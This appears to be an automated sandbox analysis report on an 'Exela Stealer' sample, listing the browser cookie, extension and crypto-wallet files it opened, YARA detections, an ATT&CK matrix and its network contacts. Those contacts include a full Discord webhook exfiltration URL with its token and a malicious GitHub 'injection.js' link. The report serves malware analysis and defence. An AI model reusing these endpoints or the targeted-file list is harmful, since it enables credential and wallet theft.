Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe PID: 6816, type: MEMORYSTR

Remote Access Functionality

Yara detected Exela Stealer

Source: Yara match	File source: 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe PID: 6816, type: MEMORYSTR

Yara detected Python Stealer

Source: Yara match	File source: 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe PID: 6816, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	331 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	1 GUI Input Capture	2 System Network Connections Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	11 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 GUI Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Software Packing	NTDS	55 System Information Discovery	Distributed Component Object Model	1 Email Collection	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	561 Security Software Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	151 Virtualization/Sandbox Evasion	Network Sniffing	31 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	39%	ReversingLabs	Win64.Trojan.Zusy
SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	100%	Avira	HEUR/AGEN.1306040
SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	100%	Avira	HEUR/AGEN.1306040
C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	39%	ReversingLabs	Win64.Trojan.Zusy
C:\Users\user\AppData\Local\Temp\_MEI67602\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_cffi_backend.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_helpers.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_http_parser.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_http_writer.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_websocket.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\frozenlist\_frozenlist.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\multidict\_multidict.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\python311.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67602\yarl\_quoting_c.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_cffi_backend.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_helpers.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_http_parser.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_http_writer.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_websocket.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\frozenlist\_frozenlist.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\multidict\_multidict.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\python311.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80682\yarl\_quoting_c.cp311-win_amd64.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
https://tiktok.com/	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_BaLZ2C-YJ8xGzkF6VbqbsY0	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/justforExela/injection/main/injection.js	100%	Avira URL Cloud	malware
https://filepreviews.io/	0%	Avira URL Cloud	safe
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	0%	Avira URL Cloud	safe
https://discord.com/api/v8/users/	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/justforExela/injection/main/injection.js0A	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_Ba	0%	Avira URL Cloud	safe
https://mahler:8092/site-updates.py	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
store8.gofile.io	206.168.191.31	true	false	high
discord.com	162.159.128.233	true	false	unknown
ip-api.com	208.95.112.1	true	false	high
api.gofile.io	51.38.43.18	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_BaLZ2C-YJ8xGzkF6VbqbsY0	false	Avira URL Cloud: safe	unknown
https://store8.gofile.io/uploadFile	false		high
http://ip-api.com/json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
